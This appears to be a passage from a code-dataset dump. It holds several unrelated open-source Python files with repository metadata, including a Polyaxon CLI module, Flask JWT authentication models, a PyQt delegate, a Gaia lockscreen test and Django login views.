content_type="application/json") # 注释掉loads，下面语句正常 # return HttpResponse(json_data, content_type="application/json") return JsonResponse(json_data, safe=False)

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7c81cc51df1ab53c03a469cdc7c5c3c8cd7e2980

508

py

Python

url_shortener/src/__init__.py

Andrelpoj/hire.me

79428e2094a6b56e762a7f958e1b75f395f59cef

[ "Apache-2.0" ]

null

url_shortener/src/__init__.py

Andrelpoj/hire.me

79428e2094a6b56e762a7f958e1b75f395f59cef

[ "Apache-2.0" ]

null

url_shortener/src/__init__.py

Andrelpoj/hire.me

79428e2094a6b56e762a7f958e1b75f395f59cef

[ "Apache-2.0" ]

null

from flask import Flask from .extensions import db from .routes import short from . import config def create_app(): """ Creates Flask App, connect to Database and register Blueprint of routes""" app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = config.DATABASE_CONNECTION_URI app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False app.app_context().push() db.init_app(app) db.create_all() app.register_blueprint(short) return app

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7c82fafc5019f5e066e5d9af9ec1a1742645a993

27,180

py

Python

polyaxon_cli/cli/experiment.py

tiagopms/polyaxon-cli

eb13e3b8389ccf069a421a4dabc87aaa506ab61c

[ "MIT" ]

null

polyaxon_cli/cli/experiment.py

tiagopms/polyaxon-cli

eb13e3b8389ccf069a421a4dabc87aaa506ab61c

[ "MIT" ]

null

polyaxon_cli/cli/experiment.py

tiagopms/polyaxon-cli

eb13e3b8389ccf069a421a4dabc87aaa506ab61c

[ "MIT" ]

null

# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function import sys import click import rhea from polyaxon_cli.cli.getters.experiment import ( get_experiment_job_or_local, get_project_experiment_or_local ) from polyaxon_cli.cli.upload import upload from polyaxon_cli.client import PolyaxonClient from polyaxon_cli.client.exceptions import PolyaxonHTTPError, PolyaxonShouldExitError from polyaxon_cli.logger import clean_outputs from polyaxon_cli.managers.experiment import ExperimentManager from polyaxon_cli.managers.experiment_job import ExperimentJobManager from polyaxon_cli.utils import cache from polyaxon_cli.utils.formatting import ( Printer, dict_tabulate, get_meta_response, get_resources, list_dicts_to_tabulate ) from polyaxon_cli.utils.log_handler import get_logs_handler from polyaxon_cli.utils.validation import validate_tags from polyaxon_client.exceptions import PolyaxonClientException def get_experiment_details(experiment): # pylint:disable=redefined-outer-name if experiment.description: Printer.print_header("Experiment description:") click.echo('{}\n'.format(experiment.description)) if experiment.resources: get_resources(experiment.resources.to_dict(), header="Experiment resources:") if experiment.declarations: Printer.print_header("Experiment declarations:") dict_tabulate(experiment.declarations) if experiment.last_metric: Printer.print_header("Experiment last metrics:") dict_tabulate(experiment.last_metric) response = experiment.to_light_dict( humanize_values=True, exclude_attrs=[ 'uuid', 'config', 'project', 'experiments', 'description', 'declarations', 'last_metric', 'resources', 'jobs', 'run_env' ]) Printer.print_header("Experiment info:") dict_tabulate(Printer.add_status_color(response)) @click.group() @click.option('--project', '-p', type=str, help="The project name, e.g. 'mnist' or 'adam/mnist'.") @click.option('--experiment', '-xp', type=int, help="The experiment id number.") @click.pass_context @clean_outputs def experiment(ctx, project, experiment): # pylint:disable=redefined-outer-name """Commands for experiments.""" ctx.obj = ctx.obj or {} ctx.obj['project'] = project ctx.obj['experiment'] = experiment @experiment.command() @click.option('--job', '-j', type=int, help="The job id.") @click.pass_context @clean_outputs def get(ctx, job): """Get experiment or experiment job. Uses [Caching](/references/polyaxon-cli/#caching) Examples for getting an experiment: \b ```bash $ polyaxon experiment get # if experiment is cached ``` \b ```bash $ polyaxon experiment --experiment=1 get ``` \b ```bash $ polyaxon experiment -xp 1 --project=cats-vs-dogs get ``` \b ```bash $ polyaxon experiment -xp 1 -p alain/cats-vs-dogs get ``` Examples for getting an experiment job: \b ```bash $ polyaxon experiment get -j 1 # if experiment is cached ``` \b ```bash $ polyaxon experiment --experiment=1 get --job=10 ``` \b ```bash $ polyaxon experiment -xp 1 --project=cats-vs-dogs get -j 2 ``` \b ```bash $ polyaxon experiment -xp 1 -p alain/cats-vs-dogs get -j 2 ``` """ def get_experiment(): try: response = PolyaxonClient().experiment.get_experiment(user, project_name, _experiment) cache.cache(config_manager=ExperimentManager, response=response) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not load experiment `{}` info.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) get_experiment_details(response) def get_experiment_job(): try: response = PolyaxonClient().experiment_job.get_job(user, project_name, _experiment, _job) cache.cache(config_manager=ExperimentJobManager, response=response) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not get job `{}`.'.format(_job)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) if response.resources: get_resources(response.resources.to_dict(), header="Job resources:") response = Printer.add_status_color(response.to_light_dict( humanize_values=True, exclude_attrs=['uuid', 'definition', 'experiment', 'unique_name', 'resources'] )) Printer.print_header("Job info:") dict_tabulate(response) user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) if job: _job = get_experiment_job_or_local(job) get_experiment_job() else: get_experiment() @experiment.command() @click.pass_context @clean_outputs def delete(ctx): """Delete experiment. Uses [Caching](/references/polyaxon-cli/#caching) Example: \b ```bash $ polyaxon experiment delete ``` """ user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) if not click.confirm("Are sure you want to delete experiment `{}`".format(_experiment)): click.echo('Existing without deleting experiment.') sys.exit(1) try: response = PolyaxonClient().experiment.delete_experiment( user, project_name, _experiment) # Purge caching ExperimentManager.purge() except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not delete experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) if response.status_code == 204: Printer.print_success("Experiment `{}` was delete successfully".format(_experiment)) @experiment.command() @click.option('--name', type=str, help='Name of the experiment, must be unique within the project, could be none.') @click.option('--description', type=str, help='Description of the experiment.') @click.option('--tags', type=str, help='Tags of the experiment, comma separated values.') @click.pass_context @clean_outputs def update(ctx, name, description, tags): """Update experiment. Uses [Caching](/references/polyaxon-cli/#caching) Examples: \b ```bash $ polyaxon experiment -xp 2 update --description="new description for my experiments" ``` \b ```bash $ polyaxon experiment -xp 2 update --tags="foo, bar" --name="unique-name" ``` """ user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) update_dict = {} if name: update_dict['name'] = name if description: update_dict['description'] = description tags = validate_tags(tags) if tags: update_dict['tags'] = tags if not update_dict: Printer.print_warning('No argument was provided to update the experiment.') sys.exit(0) try: response = PolyaxonClient().experiment.update_experiment( user, project_name, _experiment, update_dict) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not update experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) Printer.print_success("Experiment updated.") get_experiment_details(response) @experiment.command() @click.option('--yes', '-y', is_flag=True, default=False, help="Automatic yes to prompts. " "Assume \"yes\" as answer to all prompts and run non-interactively.") @click.pass_context @clean_outputs def stop(ctx, yes): """Stop experiment. Uses [Caching](/references/polyaxon-cli/#caching) Examples: \b ```bash $ polyaxon experiment stop ``` \b ```bash $ polyaxon experiment -xp 2 stop ``` """ user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) if not yes and not click.confirm("Are sure you want to stop " "experiment `{}`".format(_experiment)): click.echo('Existing without stopping experiment.') sys.exit(0) try: PolyaxonClient().experiment.stop(user, project_name, _experiment) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not stop experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) Printer.print_success("Experiment is being stopped.") @experiment.command() @click.option('--copy', '-c', is_flag=True, default=False, help="To copy the experiment before restarting.") @click.option('--file', '-f', multiple=True, type=click.Path(exists=True), help="The polyaxon files to update with.") @click.option('-u', is_flag=True, default=False, help="To upload the repo before restarting.") @click.pass_context @clean_outputs def restart(ctx, copy, file, u): # pylint:disable=redefined-builtin """Restart experiment. Uses [Caching](/references/polyaxon-cli/#caching) Examples: \b ```bash $ polyaxon experiment --experiment=1 restart ``` """ config = None update_code = None if file: config = rhea.read(file) # Check if we need to upload if u: ctx.invoke(upload, sync=False) update_code = True user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) try: if copy: response = PolyaxonClient().experiment.copy( user, project_name, _experiment, config=config, update_code=update_code) Printer.print_success('Experiment was copied with id {}'.format(response.id)) else: response = PolyaxonClient().experiment.restart( user, project_name, _experiment, config=config, update_code=update_code) Printer.print_success('Experiment was restarted with id {}'.format(response.id)) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not restart experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) @experiment.command() @click.option('--file', '-f', multiple=True, type=click.Path(exists=True), help="The polyaxon files to update with.") @click.option('-u', is_flag=True, default=False, help="To upload the repo before resuming.") @click.pass_context @clean_outputs def resume(ctx, file, u): # pylint:disable=redefined-builtin """Resume experiment. Uses [Caching](/references/polyaxon-cli/#caching) Examples: \b ```bash $ polyaxon experiment --experiment=1 resume ``` """ config = None update_code = None if file: config = rhea.read(file) # Check if we need to upload if u: ctx.invoke(upload, sync=False) update_code = True user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) try: response = PolyaxonClient().experiment.resume( user, project_name, _experiment, config=config, update_code=update_code) Printer.print_success('Experiment was resumed with id {}'.format(response.id)) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not resume experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) @experiment.command() @click.option('--page', type=int, help="To paginate through the list of jobs.") @click.pass_context @clean_outputs def jobs(ctx, page): """List jobs for experiment. Uses [Caching](/references/polyaxon-cli/#caching) Examples: \b ```bash $ polyaxon experiment --experiment=1 jobs ``` """ user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) page = page or 1 try: response = PolyaxonClient().experiment.list_jobs( user, project_name, _experiment, page=page) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not get jobs for experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) meta = get_meta_response(response) if meta: Printer.print_header('Jobs for experiment `{}`.'.format(_experiment)) Printer.print_header('Navigation:') dict_tabulate(meta) else: Printer.print_header('No jobs found for experiment `{}`.'.format(_experiment)) objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True)) for o in response['results']] objects = list_dicts_to_tabulate(objects) if objects: Printer.print_header("Jobs:") objects.pop('experiment', None) dict_tabulate(objects, is_list_dict=True) @experiment.command() @click.option('--job', '-j', type=int, help="The job id.") @click.option('--page', type=int, help="To paginate through the list of statuses.") @click.pass_context @clean_outputs def statuses(ctx, job, page): """Get experiment or experiment job statuses. Uses [Caching](/references/polyaxon-cli/#caching) Examples getting experiment statuses: \b ```bash $ polyaxon experiment statuses ``` \b ```bash $ polyaxon experiment -xp 1 statuses ``` Examples getting experiment job statuses: \b ```bash $ polyaxon experiment statuses -j 3 ``` \b ```bash $ polyaxon experiment -xp 1 statuses --job 1 ``` """ def get_experiment_statuses(): try: response = PolyaxonClient().experiment.get_statuses( user, project_name, _experiment, page=page) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could get status for experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) meta = get_meta_response(response) if meta: Printer.print_header('Statuses for experiment `{}`.'.format(_experiment)) Printer.print_header('Navigation:') dict_tabulate(meta) else: Printer.print_header('No statuses found for experiment `{}`.'.format(_experiment)) objects = list_dicts_to_tabulate( [Printer.add_status_color(o.to_light_dict(humanize_values=True), status_key='status') for o in response['results']]) if objects: Printer.print_header("Statuses:") objects.pop('experiment', None) dict_tabulate(objects, is_list_dict=True) def get_experiment_job_statuses(): try: response = PolyaxonClient().experiment_job.get_statuses(user, project_name, _experiment, _job, page=page) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not get status for job `{}`.'.format(job)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) meta = get_meta_response(response) if meta: Printer.print_header('Statuses for Job `{}`.'.format(_job)) Printer.print_header('Navigation:') dict_tabulate(meta) else: Printer.print_header('No statuses found for job `{}`.'.format(_job)) objects = list_dicts_to_tabulate( [Printer.add_status_color(o.to_light_dict(humanize_values=True), status_key='status') for o in response['results']]) if objects: Printer.print_header("Statuses:") objects.pop('job', None) dict_tabulate(objects, is_list_dict=True) page = page or 1 user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) if job: _job = get_experiment_job_or_local(job) get_experiment_job_statuses() else: get_experiment_statuses() @experiment.command() @click.option('--job', '-j', type=int, help="The job id.") @click.option('--gpu', '-g', is_flag=True, help="List experiment GPU resources.") @click.pass_context @clean_outputs def resources(ctx, job, gpu): """Get experiment or experiment job resources. Uses [Caching](/references/polyaxon-cli/#caching) Examples for getting experiment resources: \b ```bash $ polyaxon experiment -xp 19 resources ``` For GPU resources \b ```bash $ polyaxon experiment -xp 19 resources --gpu ``` Examples for getting experiment job resources: \b ```bash $ polyaxon experiment -xp 19 resources -j 1 ``` For GPU resources \b ```bash $ polyaxon experiment -xp 19 resources -j 1 --gpu ``` """ def get_experiment_resources(): try: message_handler = Printer.gpu_resources if gpu else Printer.resources PolyaxonClient().experiment.resources( user, project_name, _experiment, message_handler=message_handler) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not get resources for experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) def get_experiment_job_resources(): try: message_handler = Printer.gpu_resources if gpu else Printer.resources PolyaxonClient().experiment_job.resources(user, project_name, _experiment, _job, message_handler=message_handler) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not get resources for job `{}`.'.format(_job)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) if job: _job = get_experiment_job_or_local(job) get_experiment_job_resources() else: get_experiment_resources() @experiment.command() @click.option('--job', '-j', type=int, help="The job id.") @click.option('--past', '-p', is_flag=True, help="Show the past logs.") @click.option('--follow', '-f', is_flag=True, default=False, help="Stream logs after showing past logs.") @click.option('--hide_time', is_flag=True, default=False, help="Whether or not to hide timestamps from the log stream.") @click.pass_context @clean_outputs def logs(ctx, job, past, follow, hide_time): """Get experiment or experiment job logs. Uses [Caching](/references/polyaxon-cli/#caching) Examples for getting experiment logs: \b ```bash $ polyaxon experiment logs ``` \b ```bash $ polyaxon experiment -xp 10 -p mnist logs ``` Examples for getting experiment job logs: \b ```bash $ polyaxon experiment -xp 1 -j 1 logs ``` """ def get_experiment_logs(): if past: try: response = PolyaxonClient().experiment.logs( user, project_name, _experiment, stream=False) get_logs_handler(handle_job_info=True, show_timestamp=not hide_time, stream=False)(response.content.decode().split('\n')) print() if not follow: return except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: if not follow: Printer.print_error( 'Could not get logs for experiment `{}`.'.format(_experiment)) Printer.print_error( 'Error message `{}`.'.format(e)) sys.exit(1) try: PolyaxonClient().experiment.logs( user, project_name, _experiment, message_handler=get_logs_handler(handle_job_info=True, show_timestamp=not hide_time)) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not get logs for experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) def get_experiment_job_logs(): if past: try: response = PolyaxonClient().experiment_job.logs( user, project_name, _experiment, _job, stream=False) get_logs_handler(handle_job_info=True, show_timestamp=not hide_time, stream=False)(response.content.decode().split('\n')) print() if not follow: return except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: if not follow: Printer.print_error( 'Could not get logs for experiment `{}`.'.format(_experiment)) Printer.print_error( 'Error message `{}`.'.format(e)) sys.exit(1) try: PolyaxonClient().experiment_job.logs( user, project_name, _experiment, _job, message_handler=get_logs_handler(handle_job_info=True, show_timestamp=not hide_time)) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not get logs for job `{}`.'.format(_job)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) if job: _job = get_experiment_job_or_local(job) get_experiment_job_logs() else: get_experiment_logs() @experiment.command() @click.pass_context @clean_outputs def outputs(ctx): """Download outputs for experiment. Uses [Caching](/references/polyaxon-cli/#caching) Examples: \b ```bash $ polyaxon experiment -xp 1 outputs ``` """ user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) try: PolyaxonClient().experiment.download_outputs(user, project_name, _experiment) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not download outputs for experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) Printer.print_success('Files downloaded.') @experiment.command() @click.pass_context @clean_outputs def bookmark(ctx): """Bookmark experiment. Uses [Caching](/references/polyaxon-cli/#caching) Examples: \b ```bash $ polyaxon experiment bookmark ``` \b ```bash $ polyaxon experiment -xp 2 bookmark ``` """ user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) try: PolyaxonClient().experiment.bookmark(user, project_name, _experiment) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not bookmark experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) Printer.print_success("Experiment is bookmarked.") @experiment.command() @click.pass_context @clean_outputs def unbookmark(ctx): """Unbookmark experiment. Uses [Caching](/references/polyaxon-cli/#caching) Examples: \b ```bash $ polyaxon experiment unbookmark ``` \b ```bash $ polyaxon experiment -xp 2 unbookmark ``` """ user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('project'), ctx.obj.get('experiment')) try: PolyaxonClient().experiment.unbookmark(user, project_name, _experiment) except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e: Printer.print_error('Could not unbookmark experiment `{}`.'.format(_experiment)) Printer.print_error('Error message `{}`.'.format(e)) sys.exit(1) Printer.print_success("Experiment is unbookmarked.")

33.84807

99

0.606659

2,827

27,180

5.659356

0.089848

0.048753

0.040378

0.051566

0.768986

0.705607

0.636852

0.606163

0.585349

0.570286

0

0.003379

0.281347

27,180

802

100

33.890274

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0

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0

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false

0.030238

0.034557

0

0.088553

0.146868

0

null

0

1

0

null

0

1

7c88b8dca0946deb62b53070c85ee8a8bd47974e

845

py

Python

initial_load.py

hongyuanChrisLi/RealEstateDBConvert

0fd04f5213ff3fd3548db3f322828bd80cf41791

[ "Apache-2.0" ]

null

initial_load.py

hongyuanChrisLi/RealEstateDBConvert

0fd04f5213ff3fd3548db3f322828bd80cf41791

[ "Apache-2.0" ]

null

initial_load.py

hongyuanChrisLi/RealEstateDBConvert

0fd04f5213ff3fd3548db3f322828bd80cf41791

[ "Apache-2.0" ]

null

from mysql_dao.select_dao import SelectDao as MysqlSelectDao from postgres_dao.ddl_dao import DdlDao from postgres_dao.dml_dao import DmlDao as PsqlDmlDao psql_ddl_dao = DdlDao() mysql_select_dao = MysqlSelectDao() psql_dml_dao = PsqlDmlDao() psql_ddl_dao.create_tables() county_data = mysql_select_dao.select_all_counties() psql_dml_dao.insert_county(county_data) city_data = mysql_select_dao.select_all_cities() psql_dml_dao.insert_city(city_data) zipcode_data = mysql_select_dao.select_all_zipcodes() psql_dml_dao.insert_zipcode(zipcode_data) data = mysql_select_dao.select_full_addr_month_rpt() psql_dml_dao.trunc_addr_month_rpt() psql_dml_dao.insert_addr_month_rpt(data) data = mysql_select_dao.select_full_mls_daily_rpt() psql_dml_dao.trunc_mls_rpt() psql_dml_dao.insert_mls_rpt(data) mysql_select_dao.close() psql_dml_dao.close()

28.166667

60

0.857988

141

845

4.602837

0.241135

0.09245

0.138675

0.16641

0.365177

0.291217

0.098613

0

0.068639

845

29

61

29.137931

0.824651

0

1

0

false

0

0.142857

0

0.142857

0

null

0

1

0

null

0

1

7c8e9965cc893f149c68d0938c7cdd288fb5e3a7

980

py

Python

src/urh/ui/delegates/CheckBoxDelegate.py

awesome-archive/urh

c8c3aabc9d637ca660d8c72c3d8372055e0f3ec7

[ "Apache-2.0" ]

1

2017-06-21T02:37:16.000Z

src/urh/ui/delegates/CheckBoxDelegate.py

dspmandavid/urh

30643c1a68634b1c97eb9989485a4e96a3b038ae

[ "Apache-2.0" ]

null

src/urh/ui/delegates/CheckBoxDelegate.py

dspmandavid/urh

30643c1a68634b1c97eb9989485a4e96a3b038ae

[ "Apache-2.0" ]

null

from PyQt5.QtCore import QModelIndex, QAbstractItemModel, Qt, pyqtSlot from PyQt5.QtWidgets import QItemDelegate, QWidget, QStyleOptionViewItem, QCheckBox class CheckBoxDelegate(QItemDelegate): def __init__(self, parent=None): super().__init__(parent) self.enabled = True def createEditor(self, parent: QWidget, option: QStyleOptionViewItem, index: QModelIndex): editor = QCheckBox(parent) editor.stateChanged.connect(self.stateChanged) return editor def setEditorData(self, editor: QCheckBox, index: QModelIndex): editor.blockSignals(True) editor.setChecked(index.model().data(index)) self.enabled = editor.isChecked() editor.blockSignals(False) def setModelData(self, editor: QCheckBox, model: QAbstractItemModel, index: QModelIndex): model.setData(index, editor.isChecked(), Qt.EditRole) @pyqtSlot() def stateChanged(self): self.commitData.emit(self.sender())

37.692308

94

0.715306

97

980

7.14433

0.443299

0.069264

0.063492

0

0.002503

0.184694

980

26

95

37.692308

0.864831

0

1

0.25

false

0

0.1

0

0.45

0

null

0

null

0

1

0

1

7c9666a6d0704c6c5a1d15ed10e9ce79d7670676

3,215

py

Python

project/server/models.py

mvlima/flask-jwt-auth

6cb210b50888b1e9a41ea9e63a80eafcbe436560

[ "MIT" ]

null

project/server/models.py

mvlima/flask-jwt-auth

6cb210b50888b1e9a41ea9e63a80eafcbe436560

[ "MIT" ]

null

project/server/models.py

mvlima/flask-jwt-auth

6cb210b50888b1e9a41ea9e63a80eafcbe436560

[ "MIT" ]

null

# project/server/models.py import jwt import datetime from project.server import app, db, bcrypt class User(db.Model): """ User Model for storing user related details """ __tablename__ = "users" id = db.Column(db.Integer, primary_key=True, autoincrement=True) username = db.Column(db.String(255), unique=True, nullable=False) email = db.Column(db.String(255), unique=True, nullable=False) password = db.Column(db.String(255), nullable=False) name = db.Column(db.String(255), nullable=False) age = db.Column(db.Integer, nullable=False) address = db.Column(db.Integer(255), nullable=False) registered_on = db.Column(db.DateTime, nullable=False) admin = db.Column(db.Boolean, nullable=False, default=False) def __init__(self, email, username, password, name, age, address, admin=False): self.email = email self.username = username self.password = bcrypt.generate_password_hash( password, app.config.get('BCRYPT_LOG_ROUNDS') ).decode() self.name = name self.age = age self.address = address self.registered_on = datetime.datetime.now() self.admin = admin def encode_auth_token(self, user_id): """ Generates the Auth Token :return: string """ try: payload = { 'exp': datetime.datetime.utcnow() + datetime.timedelta(days=0, seconds=5), 'iat': datetime.datetime.utcnow(), 'sub': user_id } return jwt.encode( payload, app.config.get('SECRET_KEY'), algorithm='HS256' ) except Exception as e: return e @staticmethod def decode_auth_token(auth_token): """ Validates the auth token :param auth_token: :return: integer|string """ try: payload = jwt.decode(auth_token, app.config.get('SECRET_KEY')) is_blacklisted_token = BlacklistToken.check_blacklist(auth_token) if is_blacklisted_token: return 'Token blacklisted. Please log in again.' else: return payload['sub'] except jwt.ExpiredSignatureError: return 'Signature expired. Please log in again.' except jwt.InvalidTokenError: return 'Invalid token. Please log in again.' class BlacklistToken(db.Model): """ Token Model for storing JWT tokens """ __tablename__ = 'blacklist_tokens' id = db.Column(db.Integer, primary_key=True, autoincrement=True) token = db.Column(db.String(500), unique=True, nullable=False) blacklisted_on = db.Column(db.DateTime, nullable=False) def __init__(self, token): self.token = token self.blacklisted_on = datetime.datetime.now() def __repr__(self): return '<id: token: {}'.format(self.token) @staticmethod def check_blacklist(auth_token): # Check whether auth token has been blacklisted res = BlacklistToken.query.filter_by(token=str(auth_token)).first() if res: return True else: return False

32.806122

90

0.612753

368

3,215

5.211957

0.296196

0.050052

0.062565

0.04171

0.18561

0.163712

0.095933

0.052138

0

0.009961

0.281804

3,215

97

91

33.14433

0.820702

0.080871

0

0.115942

0

0.07058

0

1

0.086957

false

0.057971

0.043478

0.014493

0.492754

0

null

0

null

0

1

0

1

7ca33bba047d555eff412922059b6da8837f7980

270

py

Python

examples/setuptools-rust-starter/tests/test_setuptools_rust_starter.py

FriendRat/pyo3

5446fe2062cb3bf11bf61bd4a2c58a7ed8b408d2

[ "Apache-2.0" ]

1

2021-06-18T16:27:31.000Z

examples/setuptools-rust-starter/tests/test_setuptools_rust_starter.py

FriendRat/pyo3

5446fe2062cb3bf11bf61bd4a2c58a7ed8b408d2

[ "Apache-2.0" ]

5

2021-11-08T22:05:41.000Z

2022-03-28T22:07:04.000Z

examples/setuptools-rust-starter/tests/test_setuptools_rust_starter.py

FriendRat/pyo3

5446fe2062cb3bf11bf61bd4a2c58a7ed8b408d2

[ "Apache-2.0" ]

null

from setuptools_rust_starter import PythonClass, ExampleClass def test_python_class() -> None: py_class = PythonClass(value=10) assert py_class.value == 10 def test_example_class() -> None: example = ExampleClass(value=11) assert example.value == 11

22.5

61

0.733333

35

270

5.428571

0.514286

0.073684

0

0.035874

0.174074

270

11

62

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0

0.285714

1

0.285714

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0.142857

0

0.428571

0

null

0

null

0

1

0

1

7caf56de8045038d74971a889dbed39c31d7bb50

1,306

py

Python

tests/python/gaia-ui-tests/gaiatest/tests/functional/lockscreen/test_lockscreen_unlock_to_camera_with_passcode.py

BReduardokramer/gaia

c00302cdcd435ab193e8365917cfc6abac9e4f2e

[ "Apache-2.0" ]

1

2021-11-09T00:27:34.000Z

tests/python/gaia-ui-tests/gaiatest/tests/functional/lockscreen/test_lockscreen_unlock_to_camera_with_passcode.py

AmyYLee/gaia

a5dbae8235163d7f985bdeb7d649268f02749a8b

[ "Apache-2.0" ]

null

tests/python/gaia-ui-tests/gaiatest/tests/functional/lockscreen/test_lockscreen_unlock_to_camera_with_passcode.py

AmyYLee/gaia

a5dbae8235163d7f985bdeb7d649268f02749a8b

[ "Apache-2.0" ]

null

# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from gaiatest import GaiaTestCase from gaiatest.apps.lockscreen.app import LockScreen class TestCameraUnlockWithPasscode(GaiaTestCase): # Input data _input_passcode = '7931' def setUp(self): GaiaTestCase.setUp(self) # Turn off geolocation prompt self.apps.set_permission('System', 'geolocation', 'deny') self.data_layer.set_setting('lockscreen.passcode-lock.code', self._input_passcode) self.data_layer.set_setting('lockscreen.passcode-lock.enabled', True) # this time we need it locked! self.lockscreen.lock() self.lock_screen = LockScreen(self.marionette) def test_unlock_to_camera_with_passcode(self): # https://github.com/mozilla/gaia-ui-tests/issues/479 camera = self.lock_screen.unlock_to_camera() self.lock_screen.wait_for_lockscreen_not_visible() camera.switch_to_camera_frame() self.assertFalse(camera.is_gallery_button_visible) camera.tap_switch_source() camera.wait_for_capture_ready() self.assertFalse(camera.is_gallery_button_visible)

31.095238

90

0.717458

173

1,306

5.202312

0.520231

0.026667

0.046667

0.035556

0.195556

0.1

0

0.010427

0.19219

1,306

41

91

31.853659

0.842654

0.238897

0

0.105263

0

0.087221

0.061866

0

0.105263

1

0.105263

false

0.263158

0.105263

0

0.315789

0

null

0

null

0

1

0

1

7cb2d3d2cb22c43c3c911d744e22c33bc37cdf49

1,661

py

Python

landing/views.py

theflatladder/kyrsovaya

d6d661854cd955e544a199e201f325decc360cc1

[ "MIT" ]

null

landing/views.py

theflatladder/kyrsovaya

d6d661854cd955e544a199e201f325decc360cc1

[ "MIT" ]

null

landing/views.py

theflatladder/kyrsovaya

d6d661854cd955e544a199e201f325decc360cc1

[ "MIT" ]

null

from django.shortcuts import render, render_to_response, redirect from django.contrib import auth from django.contrib.auth.forms import UserCreationForm from django.template.context_processors import csrf from django.http import HttpResponseRedirect def login(request): args = {} args.update(csrf(request)) if request.POST: username = request.POST.get('username') password = request.POST.get('password') user = auth.authenticate(username=username, password=password) if user is not None: auth.login(request, user) return redirect('/main') else: args['login_error'] = "Пользователь не найден или пароль введен неверный пароль" return render_to_response('login.html', args) else: return render_to_response('login.html', args) def reg(request): auth.logout(request) error = '' if request.method == "POST": newuser_form = UserCreationForm(data = request.POST) if newuser_form.is_valid(): newuser_form.save() newuser = auth.authenticate(username = newuser_form.cleaned_data['username'], password = newuser_form.cleaned_data['password1']) auth.login(request, newuser) return redirect('/main') else: error = 'Проверьте правильность вводимых данных.' else: newuser_form = UserCreationForm() return render(request, 'reg.html', locals() ) def main(request): return render(request, 'index.html', {'username': auth.get_user(request).username} ) def logout(request): auth.logout(request) return HttpResponseRedirect("/login")

31.339623

140

0.668874

186

1,661

5.876344

0.327957

0.060384

0.043916

0.040256

0.064044

0

